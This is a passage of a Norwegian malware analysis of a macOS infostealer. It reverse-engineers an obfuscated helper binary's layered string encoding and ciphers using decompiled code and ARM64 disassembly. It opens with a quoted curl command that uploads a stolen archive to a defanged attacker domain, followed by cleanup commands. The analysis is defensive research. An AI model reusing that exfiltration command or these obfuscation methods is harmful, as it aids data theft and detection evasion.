-H",[1710,13397,13398],{"class":2799}," \"user: \u003Cuuid>\"",[1710,13400,13401],{"class":2803}," -H",[1710,13403,13404],{"class":2799}," \"BuildID: \u003Chw_profile>\"",[1710,13406,13390],{"class":2803},[1710,13408,13409,13412,13415],{"class":1712,"line":2100},[1710,13410,13411],{"class":2803},"  -F",[1710,13413,13414],{"class":2799}," \"file=@/tmp/out.zip\"",[1710,13416,13417],{"class":2799}," laislivon[.]com/contact\n",[526,13419,13420],{},"Opprydningen fulgte umiddelbart:",[854,13422,13423],{"style":13137},[616,13424,13426],{"className":2786,"code":13425,"language":2788,"meta":530,"style":530},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[579,13427,13428,13445],{"__ignoreMap":530},[1710,13429,13430,13433,13436,13438,13440,13442],{"class":1712,"line":1713},[1710,13431,13432],{"class":2795},"rm",[1710,13434,13435],{"class":2803}," -r",[1710,13437,13352],{"class":3020},[1710,13439,13355],{"class":2799},[1710,13441,13358],{"class":3030},[1710,13443,13444],{"class":3020},">\n",[1710,13446,13447,13449],{"class":1712,"line":531},[1710,13448,13432],{"class":2795},[1710,13450,13364],{"class":2799},[13106,13452],{},[557,13454,13456],{"id":13455},"stage-2-reverse-engineering-av-helper-binaryen","Stage 2: Reverse engineering av 'helper'-binaryen",[526,13458,563],{},[526,13460,13461,13464],{},[579,13462,13463],{},"helper","-binaryen er den delen der analysen virkelig går i dybden. Det dreier seg om et profesjonelt obfuskert macOS-executable som systematisk vanskeliggjør statisk analyse og som utgjorde den største reverse-engineering-innsatsen i denne undersøkelsen.",[526,13466,13467],{},"Hele analysen ble utført med Ghidra og vår egendefinerte ARM64-analyseflyt.",[741,13469,13471],{"id":13470},"filegenskaper","Filegenskaper",[526,13473,747],{},[854,13475,13477],{"style":13476},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[1418,13478,4710,13480,4710,13489],{"style":13479},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1421,13481,4715,13482,4710],{},[1424,13483,11170,13484,11170,13487,4715],{},[1427,13485,1429],{"style":13486},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600",[1427,13488,1432],{"style":13486},[1434,13490,4715,13491,4715,13500,4715,13509,4715,13517,4715,13527,4715,13537,4710],{},[1424,13492,11170,13493,11170,13497,4715],{},[1439,13494,13496],{"style":13495},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1439,13498,13499],{"style":13495},"Mach-O Universal Binary",[1424,13501,11170,13502,11170,13506,4715],{},[1439,13503,13505],{"style":13504},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1439,13507,13508],{"style":13504},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1424,13510,11170,13511,11170,13514,4715],{},[1439,13512,13513],{"style":13495},"Size",[1439,13515,13516],{"style":13495},"15.7 MB",[1424,13518,11170,13519,11170,13522,4715],{},[1439,13520,13521],{"style":13504},"MD5",[1439,13523,13524],{"style":13504},[579,13525,13526],{},"4599fdf2fa2099b30d8bbf76703dd634",[1424,13528,11170,13529,11170,13532,4715],{},[1439,13530,13531],{"style":13495},"SHA-1",[1439,13533,13534],{"style":13495},[579,13535,13536],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1424,13538,11170,13539,11170,13542,4715],{},[1439,13540,13541],{"style":13504},"SHA-256",[1439,13543,13544],{"style":13504},[579,13545,13546],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[741,13548,13550],{"id":13549},"det-begynner-før-main","Det begynner før main()",[526,13552,747],{},[526,13554,13555,13556,13559,13560,13563],{},"Det første vi la merke til i Ghidra: denne binaryen oppfører seg ikke som et vanlig executable. Selve inngangspunktet er ikke ",[579,13557,13558],{},"main()",", men en funksjon som er registrert i ",[579,13561,13562],{},"__mod_init_func",", en macOS-mekanisme som instruerer den dynamiske linkeren (dyld) om å kjøre bestemte funksjoner automatisk når binaryen lastes, før noe kjørbar kode i det hele tatt starter.",[526,13565,13566,13567,13570],{},"Init-funksjonen på ",[579,13568,13569],{},"0x10009f384"," er malwarens egentlige inngangspunkt. Her er Ghidra-dekompileringen:",[854,13572,13573],{"style":13137},[13574,13575,13576,13580,13582,13585,1565,13589,3222,13593,13595,13596,13599,13600,13614],"code-block",{},[1710,13577,13579],{"style":13578},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[725,13581],{},[1710,13583,13584],{"style":13578},"// __mod_init_func registered — executes before main()",[1710,13586,13588],{"style":13587},"color:#d73a49","void",[1710,13590,13592],{"style":13591},"color:#6f42c1","FUN_10009f384",[1710,13594,13588],{"style":13587},")\n{\n  ",[1710,13597,13598],{"style":13587},"int"," iVar1;\n",[526,13601,13602,13605,13606,3222,13609,13613],{},[1710,13603,13604],{"style":13578},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1710,13607,13608],{"style":13591},"_usleep",[1710,13610,13612],{"style":13611},"color:#005cc5","0x37e",");",[526,13615,13616,13619,13622,13623,13625,13626,13629,13630,13633,13634,13637,13638,13641],{},[1710,13617,13618],{"style":13578},"// Indirect jump table — 14-state machine",[1710,13620,13621],{"style":13578},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1710,13624,579],{"style":13587}," _)((",[1710,13627,13628],{"style":13587},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1710,13631,13632],{"style":13611},"4"," + ",[1710,13635,13636],{"style":13611},"0x10009f440","))(iVar1);\n",[1710,13639,13640],{"style":13587},"return",";\n}",[526,13643,13644,13645,13648,13649,13652],{},"To ting stikker seg umiddelbart ut. For det første ",[579,13646,13647],{},"usleep","-kallet på 894 mikrosekunder ved oppstart: et anti-sandbox-tidssignal. Alvorligere er den indirekte hopptabellen på ",[579,13650,13651],{},"0x10009f43c",". Det er en beregnet branch der måladressen fastsettes i runtime fra en lookup-tabell. Statiske analyseverktøy klarer ikke å rekonstruere control-flow-grafen; Ghidra logget flere «unreachable block»-advarsler ved forsøk på å følge kjøringspaden. Det er nettopp intensjonen.",[526,13654,13655,13656,13659],{},"Hopptabellen driver en ",[568,13657,13658],{},"14-tilstands eksekveringsmaskin",". Hver tilstand utfører et enkelt diskret steg i dekrypterings- og eksekveringspipelinen. Tilstandstelleren oppdateres etter hvert steg, og maskinen kjører til alle tilstander er gjennomløpt.",[741,13661,13663],{"id":13662},"arm64-disassemblyen-av-state-dispatcheren","ARM64-disassemblyen av state-dispatcheren",[526,13665,747],{},[854,13667,13668],{"style":13137},[616,13669,13673],{"className":13670,"code":13671,"language":13672,"meta":530,"style":530},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[579,13674,13675,13680,13685,13690,13695,13700,13705,13710,13715,13720],{"__ignoreMap":530},[1710,13676,13677],{"class":1712,"line":1713},[1710,13678,13679],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1710,13681,13682],{"class":1712,"line":531},[1710,13683,13684],{},"10009f41c:  mov w0,#0x37e\n",[1710,13686,13687],{"class":1712,"line":2094},[1710,13688,13689],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1710,13691,13692],{"class":1712,"line":2100},[1710,13693,13694],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1710,13696,13697],{"class":1712,"line":2420},[1710,13698,13699],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1710,13701,13702],{"class":1712,"line":2426},[1710,13703,13704],{},"10009f42c:  mov w8,w25               ; current state index\n",[1710,13706,13707],{"class":1712,"line":3084},[1710,13708,13709],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1710,13711,13712],{"class":1712,"line":3880},[1710,13713,13714],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1710,13716,13717],{"class":1712,"line":3886},[1710,13718,13719],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1710,13721,13722],{"class":1712,"line":4131},[1710,13723,13724],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[741,13726,13728],{"id":13727},"seks-stablede-obfuskeringslag","Seks stablede obfuskeringslag",[526,13730,747],{},[526,13732,13733,13734,13737],{},"Binaryen bruker seks ulike obfuskeringslag, stablet og lenket slik at utgangen fra hvert lag mates inn i det neste. Hver payload, hver streng, hver interne konstant er kodet. I ",[579,13735,13736],{},"__const","-segmentet dukker ingenting meningsfullt opp i klartekst. Det som følger er en fullstendig lag-for-lag-gjennomgang, verifisert direkte i Ghidra, ned til enkelte ARM64-instruksjoner. Hver av teknikkene som benyttes er kjent isolert; men den kjedede bruken over flere stadier skapte en sterkt gjensidig avhengig kjøringsflyt som gjorde både statisk og dynamisk analyse betydelig vanskeligere.",[13106,13739],{},[889,13741,13743],{"id":13742},"layer-1-compile-time-triplet-koding","Layer 1: Compile-time triplet-koding",[526,13745,895],{},[526,13747,13748,13749,13752],{},"Ingen streng i binaryen er lagret som en tegnsekvens, men som en sekvens av 12-byte aritmetikk-tripletter. Hver triplet ",[579,13750,13751],{},"(a, b, shift)"," koder nøyaktig ett utgangstegn. Kodingsskjemaet anvendes på kompileringstidspunktet, slik at ingen streng noen gang finnes som klartekst i binaryen, ikke engang midlertidig ved lasting.",[526,13754,13755,13756,13759,13760,13763,13764,13767,13768,13759,13771,13774,13775,13778],{},"To separate decoder-funksjoner håndterer ulike strenglengder. ",[579,13757,13758],{},"FUN_100087c08"," på ",[579,13761,13762],{},"0x100087c08"," dekoder 60-tegns strenger (720 byte inndata fra ",[579,13765,13766],{},"DAT_1006292cc","). ",[579,13769,13770],{},"FUN_10007ad80",[579,13772,13773],{},"0x10007ad80"," dekoder 56-tegns strenger (672 byte fra ",[579,13776,13777],{},"DAT_10049708c","). Begge bruker samme algoritme.",[854,13780,13781],{"style":13137},[13574,13782,13783,13786,13788,13791,1565,13793,3222,13795,13798,13799,13801,13802,13804,13805,13807,13808,13811,13812],{},[1710,13784,13785],{"style":13578},"// FUN_100087c08 @ 0x100087c08",[725,13787],{},[1710,13789,13790],{"style":13578},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1710,13792,13588],{"style":13587},[1710,13794,13758],{"style":13591},[1710,13796,13797],{"style":13587},"long"," *param_1)\n{\n  ",[1710,13800,13797],{"style":13587}," *plVar1;\n  ",[1710,13803,13588],{"style":13587}," *pvVar2;\n  ",[1710,13806,13797],{"style":13587}," lVar3;\n  ",[1710,13809,13810],{"style":13587},"uint"," *puVar4;\n",[526,13813,13814,13815,3222,13818,13821,13822,13827,13830,13831,13821,13833,13836,13838,13841,13842,647,13845,13821,13848,13851,13852,13854,13855,13625,13857,13859,13860,3087,13863,13866,13867,13869,13870,13873,13874,13877,13878,13625,13881,13883,13884,13887,13888,13891,13893,13896,13897,13625,13899,13901,13902,13904,13905,13907,13908,13913,13914,13917,13918,13923,13924,13927,13928,13930,13931,13936,13937,13939,13940,13942,13943,13946,13947,13950,13951,13821,13953,13956,13958,13961,13962,13641],{},"pvVar2 = ",[1710,13816,13817],{"style":13591},"operator_new",[1710,13819,13820],{"style":13611},"0x2d0","); ",[1710,13823,13824,13825],{"style":13578},"// allocate 720 bytes (60 triplets × 12)",[725,13826],{},[1710,13828,13829],{"style":13591},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1710,13832,13820],{"style":13611},[1710,13834,13835],{"style":13578},"// copy encoded triplets from __const",[725,13837],{},[1710,13839,13840],{"style":13591},"FUN_1000a0840","(param_1, ",[1710,13843,13844],{"style":13611},"0x3c",[1710,13846,13847],{"style":13611},"0",[1710,13849,13850],{"style":13578},"// init 60-char output buffer","\nlVar3 = ",[1710,13853,13847],{"style":13611},";\npuVar4 = (",[1710,13856,13810],{"style":13587},[1710,13858,13797],{"style":13587},")pvVar2 + ",[1710,13861,13862],{"style":13611},"8",[1710,13864,13865],{"style":13587},"do"," {\nplVar1 = (",[1710,13868,13797],{"style":13587}," _)_param_1;\n",[1710,13871,13872],{"style":13587},"if"," (-",[1710,13875,13876],{"style":13611},"1"," \u003C _(",[1710,13879,13880],{"style":13587},"char",[1710,13882,13797],{"style":13587},")param_1 + ",[1710,13885,13886],{"style":13611},"0x17",")) {\nplVar1 = param_1;\n}\n",[1710,13889,13890],{"style":13578},"// THE DECODE FORMULA, one character per triplet:",[725,13892],{},[1710,13894,13895],{"style":13578},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1710,13898,13880],{"style":13587},[1710,13900,13797],{"style":13587},")plVar1 + lVar3) =\n(",[1710,13903,13880],{"style":13587},")((",[1710,13906,13598],{"style":13587},")(puVar4",[1710,13909,13910,13911],{},"-",[1710,13912,13876],{"style":13611}," * ",[1710,13915,13916],{"style":13611},"3"," ^ puVar4",[1710,13919,13910,13920],{},[1710,13921,13922],{"style":13611},"2",") >> (*puVar4 & ",[1710,13925,13926],{"style":13611},"0x1f",")) - (",[1710,13929,13880],{"style":13587},")puVar4",[1710,13932,13933],{},[1710,13934,13935],{"style":13611},"-1",";\nlVar3 = lVar3 + ",[1710,13938,13876],{"style":13611},";\npuVar4 = puVar4 + ",[1710,13941,13916],{"style":13611},"; ",[1710,13944,13945],{"style":13578},"// advance 12 bytes — next triplet","\n} ",[1710,13948,13949],{"style":13587},"while"," (lVar3 != ",[1710,13952,13844],{"style":13611},[1710,13954,13955],{"style":13578},"// loop exactly 60 times",[725,13957],{},[1710,13959,13960],{"style":13591},"operator_delete","(pvVar2);\n",[1710,13963,13640],{"style":13587},[526,13965,13966],{},"Den tilsvarende ARM64-assemblyen, der hver instruksjon svarer direkte til en operasjon i formelen:",[854,13968,13969],{"style":13137},[616,13970,13973],{"className":13971,"code":13972,"language":621},[619],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[579,13974,13972],{"__ignoreMap":530},[526,13976,13977,13978,13981,13982,13985],{},"Verdt å merke seg: multiplikasjonen ",[579,13979,13980],{},"b × 3"," er implementert som ",[579,13983,13984],{},"add w12, w11, w11, LSL #1",", en shift-and-add som helt unngår en multiplikasjonsinstruksjon. Det er en klassisk kompilatoroptimalisering, som samtidig gjør koden vanskeligere å finne via signature matching.",[526,13987,13988],{},"Den fullstendige dekodingsformelen:",[854,13990,13991],{"style":13137},[616,13992,13995],{"className":13993,"code":13994,"language":621},[619],"char = ASR( (b × 3) XOR a, shift ) − b\n",[579,13996,13994],{"__ignoreMap":530},[526,13998,13999,14002,14003,14006,14007,14010],{},[579,14000,14001],{},"ASR"," (Arithmetic Shift Right) er avgjørende: den bevarer fortegnsbiten. Hvis mellomresultatet av ",[579,14004,14005],{},"(b×3) XOR a"," er negativt, noe som er vanlig, ville et logisk shift gitt et helt annet resultat. Det er tilsiktet: den som reimplementerer formelen i et høynivåspråk med ",[579,14008,14009],{},">>",", får stille og rolig feilaktige utdata med mindre fortegnsaritmetikken håndteres eksplisitt.",[526,14012,14013,14014,14016,14017,14019,14020,14023],{},"56-tegns-varianten ",[579,14015,13770],{}," er strukturelt identisk, opererer på ",[579,14018,13777],{}," med en løkkegrense på ",[579,14021,14022],{},"0x38",". Begge funksjonene ble bekreftet live i Ghidra under denne analysen.",[13106,14025],{},[889,14027,14029],{"id":14028},"layer-2-hex-streng-koding","Layer 2: Hex-streng-koding",[526,14031,895],{},[526,14033,14034,14035,14038,14039,13759,14042,14045,14046,614],{},"Rå-bytene som Layer 1 produserer, er selv ASCII-hex-tegn, ikke binærdata. Utgangen fra en Layer 1-triplet-dekoding er en streng av hex-par: ",[579,14036,14037],{},"32694e5462...",". Dette bekreftes av decoder-funksjonen ",[579,14040,14041],{},"FUN_100000dc0",[579,14043,14044],{},"0x100000dc0",", som implementerer en hex-dekoding via en lookup-tabell på ",[579,14047,14048],{},"DAT_1007bb591",[526,14050,14051,14052,13910,14055,647,14058,13910,14061,647,14064,13910,14067,14070],{},"Ghidra-dekompileringen viser en switch-setning som mapper hvert hex-tegn (",[579,14053,14054],{},"0x30",[579,14056,14057],{},"0x39",[579,14059,14060],{},"0x41",[579,14062,14063],{},"0x46",[579,14065,14066],{},"0x61",[579,14068,14069],{},"0x66",") til nibble-verdien og setter sammen utgangsbyter to tegn av gangen:",[854,14072,14073],{"style":13137},[13574,14074,14075,14078,14081,14084,14085,14088,14089,14091,14092,1565,14095,1000,14097,14100,14101,4710,14104,1565,14106,14109,14110,13942,14113,14115,14116,4710,14119,1565,14121,14109,14124,13942,14127,14115,14129,4710,14132,4710,14135,1565,14137,1000,14139,1565,14141,14109,14143,13942,14146,14148,14149,4710,14152,1565,14154,1000,14157,1565,14159,14109,14162,13942,14165,14148,14167,4710,14170,1565,14172,1000,14175,1565,14177,14180,14181,13942,14184,14148,14186,4710,14189,1565,14191,1000,14194,1565,14196,14199,14200,13942,14203,14148,14205,4710,14208,1565,14210,1000,14213,1565,14215,14109,14218,13942,14221,14148,14223,4710,14226,1565,14228,1000,14230,1565,14232,14109,14234,13942,14237,14148,14239,14242,14243,14246,14247,14088,14250,14252,14253,14255,14256,14259],{},[1710,14076,14077],{"style":13578},"// FUN_100000dc0 @ 0x100000dc0",[1710,14079,14080],{"style":13578},"// Hex decoder, processes input two characters per output byte",[1710,14082,14083],{"style":13587},"switch","(*(",[1710,14086,14087],{"style":13587},"undefined1"," *)((",[1710,14090,13797],{"style":13587},")plVar2 + lVar7)) {\n  ",[1710,14093,14094],{"style":13587},"case",[1710,14096,14054],{"style":13611},[1710,14098,14099],{"style":13587},"break",";                  ",[1710,14102,14103],{"style":13578},"// '0' → 0x00",[1710,14105,14094],{"style":13587},[1710,14107,14108],{"style":13611},"0x31",": bVar9 = ",[1710,14111,14112],{"style":13611},"0x10",[1710,14114,14099],{"style":13587},";   ",[1710,14117,14118],{"style":13578},"// '1' → 0x10",[1710,14120,14094],{"style":13587},[1710,14122,14123],{"style":13611},"0x32",[1710,14125,14126],{"style":13611},"0x20",[1710,14128,14099],{"style":13587},[1710,14130,14131],{"style":13578},"// '2' → 0x20",[1710,14133,14134],{"style":13578},"// ... '3' through '9' ...",[1710,14136,14094],{"style":13587},[1710,14138,14060],{"style":13611},[1710,14140,14094],{"style":13587},[1710,14142,14066],{"style":13611},[1710,14144,14145],{"style":13611},"0xa0",[1710,14147,14099],{"style":13587},";  ",[1710,14150,14151],{"style":13578},"// 'A'/'a' → 0xa0",[1710,14153,14094],{"style":13587},[1710,14155,14156],{"style":13611},"0x42",[1710,14158,14094],{"style":13587},[1710,14160,14161],{"style":13611},"0x62",[1710,14163,14164],{"style":13611},"0xb0",[1710,14166,14099],{"style":13587},[1710,14168,14169],{"style":13578},"// 'B'/'b' → 0xb0",[1710,14171,14094],{"style":13587},[1710,14173,14174],{"style":13611},"0x43",[1710,14176,14094],{"style":13587},[1710,14178,14179],{"style":13611},"99",":   bVar9 = ",[1710,14182,14183],{"style":13611},"0xc0",[1710,14185,14099],{"style":13587},[1710,14187,14188],{"style":13578},"// 'C'/'c' → 0xc0",[1710,14190,14094],{"style":13587},[1710,14192,14193],{"style":13611},"0x44",[1710,14195,14094],{"style":13587},[1710,14197,14198],{"style":13611},"100",":  bVar9 = ",[1710,14201,14202],{"style":13611},"0xd0",[1710,14204,14099],{"style":13587},[1710,14206,14207],{"style":13578},"// 'D'/'d' → 0xd0",[1710,14209,14094],{"style":13587},[1710,14211,14212],{"style":13611},"0x45",[1710,14214,14094],{"style":13587},[1710,14216,14217],{"style":13611},"0x65",[1710,14219,14220],{"style":13611},"0xe0",[1710,14222,14099],{"style":13587},[1710,14224,14225],{"style":13578},"// 'E'/'e' → 0xe0",[1710,14227,14094],{"style":13587},[1710,14229,14063],{"style":13611},[1710,14231,14094],{"style":13587},[1710,14233,14069],{"style":13611},[1710,14235,14236],{"style":13611},"0xf0",[1710,14238,14099],{"style":13587},[1710,14240,14241],{"style":13578},"// 'F'/'f' → 0xf0","\n}\n",[1710,14244,14245],{"style":13578},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1710,14248,14249],{"style":13587},"byte",[1710,14251,13797],{"style":13587},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1710,14254,13628],{"style":13587},")uVar4 & ",[1710,14257,14258],{"style":13611},"0xff","] | bVar9;\n",[526,14261,14262],{},"ARM64-assemblyen driver dette med en sekundær computed-branch-tabell og implementerer i praksis en 55-elements hopptabell for switchen:",[854,14264,14265],{"style":13137},[616,14266,14269],{"className":14267,"code":14268,"language":621},[619],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[579,14270,14268],{"__ignoreMap":530},[526,14272,14273],{},"To beregnede branches i et 24-byte-vindu. Statiske analyseverktøy takler ikke dette mønsteret, fordi begge branch-målene er ukjente på analysetidspunktet.",[526,14275,14276],{},"En hex-streng på 137 208 tegn gir 68 604 byte etter dekoding, som deretter mates videre inn i Layer 3.",[13106,14278],{},[889,14280,14282],{"id":14281},"layer-3-egendefinert-16-symbol-nibble-alfabet","Layer 3: Egendefinert 16-symbol nibble-alfabet",[526,14284,895],{},[526,14286,14287],{},"De 68 604 utgangsbytene fra Layer 2 bruker kun 16 unike byteverdier fra to ikke-sammenhengende ASCII-områder:",[631,14289,14290,14333],{},[634,14291,14292,14295,14296,647,14299,647,14302,647,14305,647,14308,647,14310,647,14313,647,14316,647,14318,647,14320,647,14323,647,14325,647,14327,647,14329,647,14331],{},[579,14293,14294],{},"0x20-0x2F",": mellomrom, ",[579,14297,14298],{},"!",[579,14300,14301],{},"\"",[579,14303,14304],{},"#",[579,14306,14307],{},"$",[579,14309,4026],{},[579,14311,14312],{},"&",[579,14314,14315],{},"'",[579,14317,3222],{},[579,14319,1140],{},[579,14321,14322],{},"*",[579,14324,3769],{},[579,14326,10752],{},[579,14328,13910],{},[579,14330,614],{},[579,14332,6526],{},[634,14334,14335,1000,14338,647,14341,647,14344,647,14347,647,14350,647,14353,647,14356,14359],{},[579,14336,14337],{},"0x78-0x7F",[579,14339,14340],{},"x",[579,14342,14343],{},"y",[579,14345,14346],{},"z",[579,14348,14349],{},"{",[579,14351,14352],{},"|",[579,14354,14355],{},"}",[579,14357,14358],{},"~",", DEL",[526,14361,14362],{},"Det er en bevisst designbeslutning. I en hex-editor ser disse bytene ut som mellomrom, skilletegn og ASCII-randtegn; de forsvinner i støyen av det som virker som metadata eller padding. En analytiker som skummer en hex-dump vil ikke flagge disse byteområdene som mistenkelige, og standard entropianalyse undervurderer den effektive entropien fordi bytefordelingen ikke ser tilfeldig ut.",[526,14364,14365,14366,14369,14370,14373,14374,14377,14378,14381],{},"Hver byte fra dette alfabetet koder en nibble av selve payloaden. Alfabet-til-nibble-tilordningen anvendes av encode/decode-funksjonen ",[579,14367,14368],{},"FUN_100000d60",", som vi bekreftet på ",[579,14371,14372],{},"0x100000d60",". Den lenker sammen to sub-funksjoner: ",[579,14375,14376],{},"FUN_100000b50"," bygger en indeksert map over tegnene i inn-strengen, og ",[579,14379,14380],{},"FUN_100000c34"," går gjennom denne mappen, konsumerer 6 bit per steg og akkumulerer utgangsbyter 8 bit av gangen:",[854,14383,14384],{"style":13137},[13574,14385,14386,14389,14390,3468,14392,14394,14395,14397,14398,14401,14402,4710,14405,14407,14408,14410,14411,4715,14414,14416,14417,14420,14421,14423,14424,4715,14427,10979,14429,14432,14433,14436,14437,14439,14440,14443,14444,14446,14447,14088,14450,14452,14453,14455,14456,14458],{},[1710,14387,14388],{"style":13578},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1710,14391,13847],{"style":13611},[1710,14393,13865],{"style":13587}," {\n  local_52 = *(",[1710,14396,14087],{"style":13587}," *)puVar4;\n  lVar3 = ",[1710,14399,14400],{"style":13591},"FUN_1000a078c","(param_3, &local_52);  ",[1710,14403,14404],{"style":13578},"// look up nibble value",[1710,14406,13872],{"style":13587}," (lVar3 == ",[1710,14409,13847],{"style":13611},") {\n    ",[1710,14412,14413],{"style":13578},"// character not in alphabet, treat as raw",[1710,14415,14400],{"style":13591},"(param_3, &local_51);\n  } ",[1710,14418,14419],{"style":13587},"else"," {\n    iVar5 = iVar5 + ",[1710,14422,13632],{"style":13611},";           ",[1710,14425,14426],{"style":13578},"// accumulate 4 bits",[1710,14428,13949],{"style":13587},[1710,14430,14431],{"style":13611},"7"," \u003C iVar5) {\n      std::string::",[1710,14434,14435],{"style":13591},"push_back","((",[1710,14438,13880],{"style":13587},")param_1);  ",[1710,14441,14442],{"style":13578},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1710,14445,13862],{"style":13611},";\n    }\n  }\n  puVar4 = (",[1710,14448,14449],{"style":13587},"undefined8",[1710,14451,13797],{"style":13587},")puVar4 + ",[1710,14454,13876],{"style":13611},");\n} ",[1710,14457,13949],{"style":13587}," (puVar4 != puVar1);\n",[526,14460,14461],{},"De 34 302 bytene som kommer ut av dette gjennomløpet er 99,7 % skrivbar ASCII. Ved første flyktige blikk ser payloaden på dette stadiet ut som et stort shell-skript eller en konfigurasjons-blob.",[13106,14463],{},[889,14465,14467],{"id":14466},"layer-4-compile-time-strengobfuskering","Layer 4: Compile-time-strengobfuskering",[526,14469,895],{},[526,14471,14472],{},"Interne strenger obfuskeres på kompileringstidspunktet med samme triplet-skjema som Layer 1 og rekonstrueres i runtime rett før de brukes. I minnet ligger de aldri lenger enn nødvendig; bufferen frigjøres umiddelbart etter forbruk. I binaryens statiske datasegmenter er ingen dekodet streng synlig på noe tidspunkt.",[526,14474,14475,14476,14479],{},"Streng-hash-funksjonen ",[579,14477,14478],{},"FUN_100000730"," gir et sekundært obfuskeringslag for strengsammenligninger. I stedet for å sammenligne strenger direkte, noe som ville etterlate klartekst i minnet, beregner og sammenligner binaryen heltalls-hasher:",[854,14481,14482],{"style":13137},[13574,14483,14484,14487,14490,1565,14492,3222,14494,13798,14496,14498,14499,14502,14503,4710,14506,4710,14509,14512,14513,14515,14516,14518,14519,14521,14522,14148,14525,14528,14529,14531,14532,14534],{},[1710,14485,14486],{"style":13578},"// FUN_100000730 @ 0x100000730",[1710,14488,14489],{"style":13578},"// FNV-style string hash, avoids plaintext string comparisons",[1710,14491,13598],{"style":13587},[1710,14493,14478],{"style":13591},[1710,14495,13880],{"style":13587},[1710,14497,13598],{"style":13587}," iVar4 = ",[1710,14500,14501],{"style":13611},"0x19a8",";    ",[1710,14504,14505],{"style":13578},"// FNV offset basis (modified)",[1710,14507,14508],{"style":13578},"// ...",[1710,14510,14511],{"style":13587},"for"," (; uVar3 != ",[1710,14514,13847],{"style":13611},"; uVar3 = uVar3 - ",[1710,14517,13876],{"style":13611},") {\n    iVar4 = (",[1710,14520,13598],{"style":13587},")*pcVar1 + iVar4 * -",[1710,14523,14524],{"style":13611},"0x7fb91be3",[1710,14526,14527],{"style":13578},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1710,14530,13876],{"style":13611},";\n  }\n  ",[1710,14533,13640],{"style":13587}," iVar4;\n}\n",[526,14536,14537],{},"ARM64-assemblyen erstatter multiplikasjonen med en fused multiply-add:",[854,14539,14540],{"style":13137},[616,14541,14544],{"className":14542,"code":14543,"language":621},[619],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[579,14545,14543],{"__ignoreMap":530},[526,14547,14548],{},"Det betyr at selv en sammenligning av to strenger inne i binaryen ikke produserer en branch som en debugger kan fange rent på strengnivå, kun på hash-nivå.",[13106,14550],{},[889,14552,14554],{"id":14553},"layer-5-to-custom-stream-cipher-instanser","Layer 5: To custom stream-cipher-instanser",[526,14556,895],{},[526,14558,14559,14560,14563],{},"Her blir obfuskeringsarkitekturen uvanlig. I binaryen kjører ikke én, men ",[568,14561,14562],{},"to separate cipher-instanser",", hver med en ulik hardkodet lookup-tabell og en ulik startteller. Begge bruker den samme algoritmestrukturen, men produserer forskjellige utgangsalfabeter for ulike deler av 